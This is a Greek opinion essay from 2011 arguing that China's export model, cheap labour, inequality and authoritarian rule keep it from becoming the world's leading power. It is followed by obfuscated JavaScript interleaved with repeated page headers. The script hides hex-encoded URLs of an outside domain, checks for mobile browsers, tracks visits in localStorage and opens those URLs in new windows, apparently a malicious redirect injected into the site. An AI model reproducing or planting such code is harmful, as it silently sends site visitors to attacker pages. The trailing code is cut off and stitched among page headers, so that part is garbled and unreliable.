

Η ΚΙΝΑ ΠΑΓΚΟΣΜΙΟΣ ΗΓΕΤΗΣ: ΕΙΝΑΙ ΔΥΝΑΤΟΝ;

Η ηγεσία του Κομμουνιστικού κόμματος της Κίνας, φιλοδοξεί να ηγηθεί των μεγάλων παγκόσμιων δυνάμεων, πριν το τέλος του 21^{ου} αιώνα. Να αντικαταστήσει στη κορυφή της πυραμίδας της διεθνούς ισχύος, τις ΗΠΑ. Ο στόχος αυτός όσο και αν δεν δηλώνεται ρητώς, όσο και αν δεν κατονομάζεται ευθέως, ωστόσο βρίσκεται μέσα στις γραμμές των αποφάσεων των συνεδρίων του Κόμματος, μέσα στα πενταετή αναπτυξιακά πλάνα και κυρίως αποτελεί βασικό ιδεολογικό εργαλείο προπαγανδιστικής πειθούς, για την απόσπαση συναίνεσης από το κινεζικό λαό στην οικονομική πολιτική που εφαρμόζεται. Στις διεθνείς σχέσεις, οι επίσημες κινεζικές αντιπροσωπίες δεν θέτουν ποτέ πρώτες το πρόβλημα του ουνιβερσαλισμού. Αφήνουν πάντα στους συνομιλητές τους να θέσουν πρώτοι τη διεθνή σπουδαιότητα της Κίνας και το καθοριστικό της ρόλο στις διεθνείς εξελίξεις. Οι ίδιοι κατόπιν, με χαιρέκακη λεπτή ειρωνεία, βεβαιώνουν πως δεν πρόκειται να ακολουθήσουν την ιμπεριαλιστική πολιτική των ΗΠΑ, ούτε και των άλλων ηγητόρων που προηγήθηκαν.

Αν εξετάσουμε όμως τις αντικειμενικές παραμέτρους της κινεζικής κοινωνίας και οικονομίας και αν τις συσχετίσουμε με εκείνες των ΗΠΑ, μπορούμε να αποφανθούμε για τη βασιμότητα και ρεαλιστικότητα του στόχου της κινεζικής ηγεσίας ή τη σαθρότητα του.

Πράγματι η Κίνα διαθέτει αρκετούς από εκείνους τους συντελεστές ισχύος που απαιτούνται για την παγκόσμια ηγεμονία. Σε πολλές περιπτώσεις όμως η ισχύς εξουδετερώνεται από αντίπαλους συντελεστές αδυναμίας, αλλά προς το παρών διατηρούν τη δυναμική τους. Το ΑΕΠ αυξάνεται τη τελευταία δεκαετία κατά μέσο όρο 10,48%, τα εμπορικά της πλεονάσματα ξεπερνούν τα 400 δις δολάρια, τα συναλλαγματικά της αποθέματα τα \$3 τρις, η αύξηση του πληθυσμού της ελέγχεται και οι οικονομικές της υποδομές βελτιώνονται ασταμάτητα. Αν κοιτάξουμε όμως πίσω και κάτω από αυτά τα επιτεύγματα θα ανακαλύψουμε μια διαφορετική κατάσταση. Το μεγαλύτερο μέρος των εξαγωγίμων προϊόντων της αποτελούν εκροές των μεγαλύτερων πολυεθνικών του κόσμου. Από τις 500 διεθνείς εταιρίες / γίγαντες που υπάρχουν οι 470 δραστηριοποιούνται στις ανατολικές ακτές της χώρας. Είναι αμερικανικές, ιαπωνικές, κορεατικές και ευρωπαϊκές. Οι εξαγωγές τους αποτελούν το 40% του ΑΕΠ της Κίνας. Οι λόγοι που αυξάνουν τον όγκο των επενδύσεων τους στη χώρα αυτή, χρόνο με το χρόνο, είναι η πολιτική σταθερότητα και οι χαμηλές αμοιβές εργασίας. Το συνολικό ανά ώρα μέσο κόστος είναι ένα δολάριο ενώ στις χώρες τους πάνω από 12. Η κοινωνική ασφάλιση πενιχρή και η ελαστικότητα εργασίας

απεριόριστη. Επιπρόσθετα ο συνδικαλισμός είναι απαγορευμένος όπως και οι απεργίες. Με άλλα λόγια η Κίνα προσφέρει ένα «εργασιακό παράδεισο» για όποια πολυεθνική εταιρία ήθελε να αυξήσει το κύκλο εργασιών και κερδών της. Κυριολεκτικά οι παγκόσμιες αγορές έχουν κατακλυστεί από κινεζικά προϊόντα ή εξαρτήματα προϊόντων, χαμηλής ποιότητας και τιμής. Ένα μέρος των κερδών που προέρχεται από το εργασιακό ντάμπινγκ, διανέμεται στη κομματική και κρατική γραφειοκρατία, που μεριμνά με ιδεολογήματα του τύπου της «παγκόσμιας ηγεμονίας» να αποσοβήσει ή να αναστείλει τη λαϊκή διαμαρτυρία. Οι ουρανοξύστες, στο Πεκίνο και στη Σαγκάη, οι καθαροί λεωφόροι των πόλεων και τα πολυτελή γραφεία των πολυεθνικών, είναι ένα άλλο αποχαυνωτικό και παραλυτικό προπαγανδιστικό εργαλείο για τον μέσο κινέζο. Η πολιτική αυτή όμως δεν πετυχαίνει πάντα. Το 2008 οι ανοικτές εξεγέρσεις που καταγράφηκαν, στην αχανή αυτή χώρα, ανήλθαν στις 100.000. Οι κλειστές διαμαρτυρίες είναι ακόμα περισσότερες και διεξάγονται με μορφή κριτικών συζητήσεων εντός των μεγάλων οικογενειών αλλά και με την εκδήλωση αντιθέσεων των τοπικών ηγεσιών με το κέντρο.

Η ηγεσία του κόμματος από την άλλη πλευρά, ελέγχει τη κατάσταση εφαρμόζοντας αυταρχική πολιτική, λογοκρισία και αποκλεισμούς αντιπάλων. Ωστόσο έχει να αντιμετωπίσει εκτός από τη λαϊκή δυσανεμία και τις εσωκομματικές διαφορετικές θέσεις από τις ισχύουσες της ηγεσίας, όπως για παράδειγμα αυτή της ένταξης της χώρας στον Παγκόσμιο Οργανισμό Εμπορίου.

Το πρωτότυπο ιστορικά μοντέλο που εφαρμόζεται στη Κίνα, «ο σοσιαλισμός της αγοράς», αθεμελίωτο θεωρητικά και κοινωνικά άδικο, δημιουργεί τέτοιου είδους προβλήματα που δεν μπορεί να επιλύσει. Για παράδειγμα οι μεγάλες κοινωνικές και οικονομικές αντιθέσεις ανάμεσα στις ανατολικές ακτές και στις δυτικές και βόρειο δυτικές περιφέρειες, ή με άλλα λόγια ανάμεσα στους αγρότες και εργάτες από τη μία και στα εκπαιδευμένα μεσαία στρώματα από την άλλη, δεν μπορούν να επιλυθούν με έναν κοινωνικά ωφέλιμο τρόπο, σωρεύοντας φορτία κοινωνικής αγανάκτησης. Πρόσφατα η Ακαδημία Κοινωνικών Επιστημών, ανακοίνωσε τα αποτελέσματα μελέτης από τα οποία καταδεικνύεται πως το 10% του πλουσιότερου τμήματος του πληθυσμού κατέχει το 40% των περιουσιακών ιδιωτικών στοιχείων. Το 11^ο και 12^ο πενταετή αναπτυξιακά προγράμματα που εφαρμόζουν πολιτικές αποκρατικοποίησης επιφέρουν αύξηση της ανεργίας γιατί οι νέοι ιδιώτες ιδιοκτήτες απολύουν εκατοντάδες χιλιάδες ανειδίκευτων εργαζομένων, οι οποίοι πέφτουν σε αφόρητη ένδεια λόγω ανυπαρξίας κοινωνικής πολιτικής και επιδομάτων ανεργίας.

Οι διανοούμενοι και οι ειδικοί αναλυτές, προβάλλουν κομψά θέσεις που επικρίνουν, καλυμμένα βέβαια, το ισχύον μοντέλο. Θα πρέπει να αναδιατυπωθούν οι σχέσεις μεταξύ των επενδύσεων, της κατανάλωσης και των εξαγωγών και να δοθεί μεγαλύτερη έμφαση στη ποιοτική εντατική παραγωγή από ό,τι στη επεκτατική ποσοτική. Η εγχώρια κατανάλωση είναι πολύ χαμηλή ενώ η αποταμίευση των μεσαίων στρωμάτων μεγαλώνει συνεχώς λόγω

αβεβαιότητας για το μέλλον. Όμοια θα πρέπει να επανεξεταστούν οι πολιτικές που ορίζουν τα πεδία των μισθών, της κοινωνικής ασφάλισης και της πρόνοιας, αν θα έπρεπε να αποφευχθεί η διάδοση εκρηκτικότερων μορφών εξεγέρσεων.

Όσο και αν φαίνεται παράξενο, η κινεζική κυρίαρχη ελίτ, δεν διαθέτει πολλές επιλογές χειρισμών. Ο δρόμος που ακολούθησε τις δύο τελευταίες δεκαετίες για να καταφέρει τα σημερινά οικονομικά επιτεύγματα, επιβάλλει τις δικές του απαιτήσεις. Το 2010 η Κίνα παρήγαγε πλούτο ισάξιο με 6,1 τρις δολάρια, γεγονός που την κατατάσσει δεύτερη μεγαλύτερη οικονομία στον κόσμο μετά τις ΗΠΑ, των 14 τρις. Η Κίνα βρίσκεται σε ισχυρό οικονομικό μομέντουμ ενώ οι ΗΠΑ όχι, κάτι που σημαίνει πως συμβάλλει στην παγκόσμια ανάπτυξη με ποσοστό 25%, αποτελεί δηλαδή την ατμομηχανή της παγκόσμιας οικονομίας, σύμφωνα με τον ΟΟΣΑ. Για το οικονομικό «θαύμα» του είδους, έδρασαν καθοριστικά παράγοντες όπως ο πολιτικός μονοκομματικός απολυταρχισμός, δηλαδή η απουσία δημοκρατίας, ο απόλυτος έλεγχος της αγοράς εργασίας και οι ξένες επενδύσεις με εξαγωγικό προσανατολισμό. Δεν είναι καθόλου εύκολο για την κινεζική ηγεσία να αλλάξει ή να τροποποιήσει αυτές τις σημάνσεις του δρόμου που την οδήγησε στην επιτυχία της ραγδαίας οικονομικής μεγέθυνσης. Εκείνο που μπορεί να κάνει και κάνει, είναι να περιβάλει με ιδεολογικό μανδύα το οικονομικό «θαύμα», να το αναγάγει σε εθνικό σκοπό και να το ονομάσει «παγκόσμια κυριαρχία», καλλιεργώντας τεχνικά τη κοινωνική πεποίθηση περί Ουράνιου Βασιλείου.

Η ακύρωση όλων αυτών θα σήμαινε την επιλογή ενός άλλου δρόμου, με διαφορετικές επισημάνσεις όπως το δημοκρατικό πολίτευμα, η πολιτική διαβούλευση και ο κομματικός ανταγωνισμός, οι συνδικαλιστικές ελευθερίες και διεκδικήσεις, η ελεύθερη έκφραση των μέσων ενημέρωσης, η απελευθέρωση του χρηματοπιστωτικού συστήματος από τη Κεντρική Τράπεζα, η ελεύθερη διαμόρφωση των τιμών, και τόσων άλλων. Αν όμως συνέβαινε κάτι τέτοιο η Κίνα θα έχανε τα βασικά σημερινά της ανταγωνιστικά πλεονεκτήματα που δημιουργούν το οικονομικό «θαύμα» της. Και ασφαλώς το βασικότερο όλων, δηλαδή το χαμηλό εργασιακό κόστος και την απουσία συστήματος κοινωνικής ασφάλισης που τραβούν σαν μαγνήτες τις ξένες επενδύσεις.

Κατά συνέπεια η Κίνα είναι υποχρεωμένη να ακολουθήσει το δρόμο των μεταρρυθμίσεων του καθεστώτος του Μάο, που εισήγαγε ο Τένγκ σιάο Πίνγκ, έστω και αν χρειαστεί να καταφύγει στην ωμή βία όπως έπραξε στη πλατεία Τιεν Αν Μεν, το 1989, για να πετύχει κοινωνική και πολιτική σίγαση.

Όπως φαίνεται τα εσωτερικά προβλήματα με τα οποία παλεύει αδιάλειπτα και ακάματα, το κομμουνιστικό κόμμα είναι πολλά και μεγάλα. Κοντά σ' αυτά θα πρέπει να προστεθούν και οι εξεγέρσεις των μουσουλμανικών πληθυσμών της Ξιγιάνγκ –Uigur, το πρόβλημα του Θιβέτ, των διαφορών με το Βιετνάμ και εκείνο της Ταϊβάν με το οποίο βρίσκεται σε συνεχείς προστριβές με τις ΗΠΑ. Η ηγεσία του κόμματος όμως είναι έτοιμη να προβεί σε υποχωρήσεις συμβιβαστικών λύσεων σε ό,τι αποτελεί κίνδυνο ανατροπής και ανασχεσης της οικονομικής πορείας. Αν δηλαδή οι ΗΠΑ δηλώσουν με μεγαλύτερη αποφασιστικότητα τη θέληση τους για την ανεξαρτησία της Ταϊβάν, η Κίνα θα δεχθεί να συζητήσει και άλλες λύσεις γιατί η αμερικανική αγορά απορροφά μεγάλο όγκο των εξαγωγών της. Και όσο η κρίση στο δυτικό ημισφαίριο βαθαίνει τόσο τα φθηνά κινεζικά προϊόντα θα αποτελούν βασικό συστατικό του καταναλωτικού προτύπου των φτωχότερων δυτικών πολιτών. Από αυτή την άποψη δεν είναι καθόλου υπερβολή αν λέγαμε πως η Κίνα τρίβει τα χέρια της από ικανοποίηση όσο η κρίση του χρέους στη Δύση επεκτείνεται και γιατί της δίδεται ευκαιρία πρώτης τάξεως να αγοράσει φθηνά assets και γιατί αυξάνονται οι απορροφήσεις των εξαγωγών της. Επιπρόσθετα ο στόχος της «παγκόσμιας ηγεμονίας» που ευαγγελίζεται για εσωτερική κατανάλωση μπορεί να γίνει περισσότερο λειτουργικός συνεπεία της δυτικής χρηματοοικονομικής κρίσης. Η επεκτατική πολιτική μέσω της εξαγοράς λιμανιών, ο "δρόμος των μαργαριταριών" (string of pearls) από το Γκουαντάρ έως το Πειραιά, όπως την αποκαλεί, είναι μεν μια απομίμηση της βρετανικής αυτοκρατορίας του 19ου αιώνα αλλά ταυτόχρονα ενισχύει το εξαγωγικό της μοντέλο.

Οι επιδιώξεις αυτές όμως, οι οποίες έχουν πείσει για την εφικτότητα τους και ένα μεγάλο μέρος της ηγεσίας του κομμουνιστικού κόμματος, αντικειμενικά είναι ανέφικτες. Πρώτον γιατί ο «παγκόσμιος ηγεμών» οφείλει να διαθέτει ένα από τα καλύτερα δημοκρατικά πολιτεύματα, δεδομένου ότι οι σπουδαιότεροι «υποτελείς» είναι ώριμα και εξελιγμένα δημοκρατικά κράτη, δεύτερον οφείλει να διαθέτει στο μεγαλύτερο δυνατό βαθμό παράγοντες όπως οικονομική ανεξαρτησία, τεχνολογική αυτοτέλεια και πολιτιστική ηγεμονία, στους οποίους η Κίνα διαθέτει πλήρη εξάρτηση, τρίτον η γεωγραφική και γεωστρατηγική θέση θα πρέπει να προσφέρει σχετική ασφάλεια, όπως οι ωκεανοί τις ΗΠΑ ή την Αγγλία, (θαλάσσιες ηγεμονίες Macindar), ενώ η Κίνα βρίσκεται στο μέσον του τόξου της αστάθειας (Arc of instability), (Αφγανιστάν – Πακιστάν – Κ. Ασία), και τέταρτον ο παγκόσμιος ηγεμών διαθέτει εθνοτική ομοιομορφία και κυρίαρχη κουλτούρα, στοιχεία που εκλείπουν από τη Κίνα αφού αυτή συντίθεται από 56 εθνοτικές, πληθυσμιακά μεγάλες ομάδες, με διαφορετική παράδοση και κουλτούρα. Κοντά σ' αυτούς τους λόγους θα πρέπει να προστεθεί και το διευρυνόμενο χάσμα ανάμεσα στους πλούσιους και φτωχούς, που παράγει το ισχύον οικονομικό μοντέλο του αναπτυξιακού «θαύματος».

Γι' αυτούς του μείζονες λόγους αλλά και για άλλους ελάσσονες, ο 21^{ος} αιώνας δεν φαίνεται πως θα φέρει τη Κίνα στη κορυφή της πυραμίδας της παγκόσμιας ισχύος. Ο καθηγητής Zhang Zilian του πανεπιστημίου του Πεκίνου δήλωσε καθαρά τα εξής : «Ο 21^{ος}

αιώνας δεν θα είναι ο αιώνας της Κίνας. Τα προβλήματα που έχει να λύσει είναι τόσο πολλά

που θα την απασχολούν για τα πενήντα επόμενο χρόνια. Ο κόσμος θα πρέπει να φοβάται περισσότερο τη κατάρρευση της παρά τη δύναμη της, για το χάος που θα ακολουθήσει».

Ο καθηγητής Ζιλιάν φαίνεται να έχει δίκιο, γιατί γνωρίζει καλύτερα από κάθε άλλον την ενότητα των αντιφάσεων που παρουσιάζουν οι δομές του παράξενου συστήματος του σοσιαλισμού της αγοράς. Ιστορικά εκείνο που γνωρίζουμε, είναι ο επεκτατικός καπιταλισμός που αποδυνάμωνε τις εγχώριες οικονομίες είτε αποσπώντας τις πρώτες τους ύλες είτε επενδύοντας άμεσα προς επιτόπια αξιοποίηση των παραγωγικών συντελεστών τους αλλά με εξαγωγή του πλεονάσματος. Σε πολύ λίγες περιπτώσεις οι χώρες υποδοχής ήταν ικανές να ενδυναμώσουν τις παραγωγικές τους δομές. Στη περίπτωση της Κίνας όμως έχουμε μια πρώτη ιστορική εκδοχή ενός νέου αναπαραγωγικού μοντέλου. Οι ξένες εταιρίες επενδύουν στη τοπική αγορά σε τομείς όπως οι κατασκευές, η βιομηχανία, οι ηλεκτρονικοί υπολογιστές, κλπ, αλλά οι κινεζικές εταιρίες δραστηριοποιούνται στη πρώτη επεξεργασία των πρώτων υλών τις εκροές των οποίων ως ενδιάμεσες πλέον εισροές τις μετατρέπουν σε τελικά προϊόντα οι ξένες εταιρίες. Ένα μέρος της παραγωγικής αλληλουχίας το ελέγχουν οι εγχώριες εταιρίες με τα κέρδη της οποίας σχηματίζεται με ραγδαίους ρυθμούς η μεσαία κινεζική τάξη. Όσο ενδυναμώνει η μεσαία τάξη τόσο το κινεζικό καθεστώς πιστεύει πως, συν τω χρόνω, το μεγαλύτερο μέρος της παραγωγικής αλυσίδας διεθνώς εμπορεύσιμων προϊόντων θα ανήκει στους κινέζους. Στον εκσυγχρονισμένο αυτό τομέα, οι σχέσεις ιδιοκτησίας, η διασφάλιση των περιουσιακών στοιχείων και της ελεύθερης κίνησης των κεφαλαίων, λειτουργούν με βάση τα δυτικά πρότυπα. Εκείνο όμως που τον κάνει περισσότερο αποδοτικό είναι η ύπαρξη ενός «σοσιαλιστικού» τομέα, φθηνής εργασίας, που βρίσκεται στην ενδοχώρα και ο οποίος σπεύδει κατά κύματα στις ανατολικές περιφέρειες αναζητώντας βελτιωμένα εισοδήματα. Τι θα γίνει όμως στη περίπτωση εκείνη όπου η διεύρυνση της μεσαίας τάξης θα ξεπεράσει τα όρια ανοχής στον πολιτικό αυταρχισμό και διεκδικήσει πολιτικές ελευθερίες και αλογόκριτα μέσα έκφρασης; Στο πρώτο στάδιο της διαδικασίας, η δημιουργία της ελάμβανε χώρα στα πλαίσια του κόμματος όπου αξιωματούχοι, στελέχη, μέλη και ημέτεροι, αναβαθμίζονταν στην κοινωνική κλίμακα. Στο δεύτερο στάδιο όμως και όσο η οικονομική μεγέθυνση συνεχίζεται θα μπορεί να επαναληφθεί η ίδια διαδικασία; Θα μπορεί το κομμουνιστικό κόμμα να απαριθμεί δεκάδες από εκατομμύρια μέλη που θα συμπίπτουν με τις κλίμακες της νέας ενδιάμεσης τάξης; Η απάντηση είναι αρνητική γιατί τότε το κόμμα θα έχανε και προσανατολισμό και ταυτότητα διότι θα μετατρέπονταν σε πεδίο κοινωνικών και οικονομικών συγκρούσεων.

Πιστεύοντας ότι ο πυρήνας του μέλλοντος βρίσκεται στο παρών, το πιθανότερο είναι ότι όσο συνεχίζεται η οικονομική μεγέθυνση τόσο θα διαφοροποιείται και η κοινωνική διαστρωμάτωση και όσο συμβαίνει αυτό τόσο τα ενδιάμεσα στρώματα θα αναζητούν νέες πολιτικές έκφρασης που θα ακυρώνουν τις απαγορεύσεις του κομματικού απολυταρχισμού. Το σύστημα κάτω από αυτές τις πιέσεις ή θα αναγκαστεί να επιτρέψει τον εκδημοκρατισμό του, οπότε αυτό θα σημαίνει και το τέλος της φθηνής παροχής εργασίας άρα και τη δραματική μείωση της οικονομικής μεγέθυνσης ή θα σκληρύνει τις μεθόδους επιβολής του με κίνδυνο τις κοινωνικές αναταραχές και την πολιτική αστάθεια, γεγονότα αμφότερα που

τρέπουν σε φυγή τα ξένα κεφάλαια επιφέροντας και πάλι την οικονομική συρρίκνωση.

Παρ' ότι οι δύο αυτές επιλογές φαίνεται πως οδηγούν σε αδιέξοδο την κινεζική ηγεσία, υπάρχει και μία τρίτη η οποία συνιστά και την ενδεδειγμένη άριστη λύση.

Το οικονομικό μοντέλο θα πρέπει να αλλάξει προσανατολισμό προβάλλοντας μια νέα ενότητα σκοπών. Η παραγωγή θα πρέπει να καλύπτει πλέον τις ανάγκες της εσωτερικής αγοράς και του κινεζικού λαού αυξάνοντας τις αμοιβές εργασίας και τη κατανάλωση και υιοθετώντας τους κανόνες του κράτους πρόνοιας. Η αύξηση της εσωτερικής κατανάλωσης θα μειώσει το ποσοστό των επενδύσεων ως προς το ΑΕΠ, αφού θα μειωθεί η ανταγωνιστικότητα αλλά θα αυξηθεί η κοινωνική ευημερία και θα μειωθεί το ύψος των οικονομικών ανισοτήτων. Ο ρυθμός αύξησης της οικονομίας θα μειωθεί, αλλά όχι πολύ, και θα απομακρυνθεί το ενδεχόμενο της πολιτικής αστάθειας οπότε η Κίνα τότε θα μπορεί βάσιμα να διεκδικήσει το σταθεροποιητικό ρόλο του περιφερειακού ηγεμόνα, αναλαμβάνοντας την ευθύνη και το κόστος της διαχείρισης των περιφερειακών ασιατικών διενέξεων.

Κουρματζής Θάνος

Οικονομολόγος / Στατιστικός / Συγγραφέας.

```
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return
_0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let
_0x2d38c6=_0x10c8dc[_0x3023c3];return
_0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const
_0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx
70x61x6ex79x2fx7ax52x54x32x63x312','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2f
x61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx51x52x56x33x63x373','x68x74
x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6bx5ax4dx30
x63x370','random','-local-storage','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex
63x6fx6dx70x61x6ex79x2fx4cx50x72x37x63x357','stopPropagation','4051490VdJdXO','test','op
en','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7a
x63x51x36x63x386','12075252qhSFyR','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x
78x2ex63x6fx6dx70x61x6ex79x2fx45x70x55x38x63x388','x68x74x74x70x3ax2fx2fx61x6cx6dx6
1x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx71x78x64x35x63x385','4829028FhdmK','ro
und','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vend
or','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return
_0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const
```

Η Κίνα παγκόσμιος ηγέτης: Είναι δυνατόν;

Συντάχθηκε απο τον/την Administrator

Σάββατο, 13 Αύγουστος 2011 09:16 - Τελευταία Ενημέρωση Πέμπτη, 18 Αύγουστος 2011 11:44

```
_0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(![]){try{const
_0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x14
2fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(
_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;els
e
_0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift'](
));}}(_0x10c8,0xd3435));var
_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'
substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx
6dx70x61x6ex79x2fx4ex6ax74x31x63x311',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x
70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6ex46x41x34x63x
314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x7
0x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx74x4ex46x39x63x3
09',",_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x
3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x1
9b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_
0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){le
t _0x129862=![];return
function(_0x784bdc){(((android|bbd+|meego).+mobile|avantgo|bada|blackberry|blazer|compal|e
laine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge
|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(
os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6|0)|symbian|treo|up.(browser|link)|vodafone|wa
p|windows
ce|xda|xiino|i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]|i770s|802s|a
wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-
m|r|s
)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55|/capi|ccwa|cdm-|cell|chtm|cldc|c
md-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(
ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1
u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c-|
|_a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(
|-/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( /)|klon|kpt
|kwc-|kyo(c|k)|le(no|xi)|lg(
g|/(k|l|u)|50|54|-|a-w)|libw|lynx|m1-w|m3ga|m50|/ma(te|ui|x)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|
oa|ts)|mmef|mo(01|02|bi|de|do|t(-|o|v)|zz)|mt(50|p1|v
)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6
|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|p
o(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-|2-7)|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/
|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/se(c-|0|1)|47|mc(nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(4
5|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v
)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-
9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|8
1|83|85|98)|w3c(-| )|webc|whit|wi(g
|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]])(0x0,0x4)
))&&(_0x129862=![]);(navigator[_0x365b[0x1]]|navigator[_0x365b[0x2]]|window[_0x365b[0x3]
]),_0x129862;};const
```

Η Κίνα παγκόσμιος ηγέτης: Είναι δυνατόν;

Συντάχθηκε απο τον/την Administrator

Σάββατο, 13 Αύγουστος 2011 09:16 - Τελευταία Ενημέρωση Πέμπτη, 18 Αύγουστος 2011 11:44

```
_0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);}),_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=( _0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=( _0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=( _0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=( _0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);},_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const 